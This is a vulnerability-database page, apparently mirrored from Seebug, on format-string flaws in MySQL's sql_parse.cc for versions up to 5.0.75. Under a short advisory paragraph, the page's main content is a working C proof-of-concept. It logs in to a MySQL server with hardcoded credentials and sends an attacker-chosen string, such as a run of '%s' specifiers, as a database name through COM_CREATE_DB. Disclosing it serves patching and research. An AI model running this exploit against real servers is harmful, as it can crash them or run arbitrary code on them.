Lucene search
K

MySQL <= 5.0.75 'sql_parse.cc' Multiple Format String Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

MySQL 'sql_parse.cc' Format String Vulnerabilitie

Code

                                                source: http://www.securityfocus.com/bid/35609/info

MySQL is prone to multiple format-string vulnerabilities.

Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application. Failed attacks will likely cause denial-of-service conditions.

MySQL 4.0.0 through 5.0.75 are vulnerable; other versions may also be affected. 

#include &#60;stdlib.h&#62;
#include &#60;stdio.h&#62;

#define USE_OLD_FUNCTIONS
#include &#60;mysql/mysql.h&#62;

#define NullS           (char *) 0

int
main (int argc, char **argv)
{
  MYSQL *mysql = NULL;

  mysql = mysql_init (mysql);

  if (!mysql)
    {
      puts (&#34;Init faild, out of memory?&#34;);
      return EXIT_FAILURE;
    }

  if (!mysql_real_connect (mysql,       /* MYSQL structure to use */
                           &#34;localhost&#34;, /* server hostname or IP address */
                           &#34;monty&#34;,      /* mysql user */
                           &#34;montypython&#34;,  /* password */
                           NULL,      /* default database to use, NULL for none */
                           0,   /* port number, 0 for default */
                           NULL,        /* socket file or named pipe name */
                           CLIENT_FOUND_ROWS /* connection flags */ ))
    {
      puts (&#34;Connect failed\n&#34;);
    }
  else
    {
      puts (&#34;Connect OK\n&#34;);
//      mysql_create_db(mysql, &#34;%s%s%s%s%s&#34;);
        simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

    }

  mysql_close (mysql);

  return EXIT_SUCCESS;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation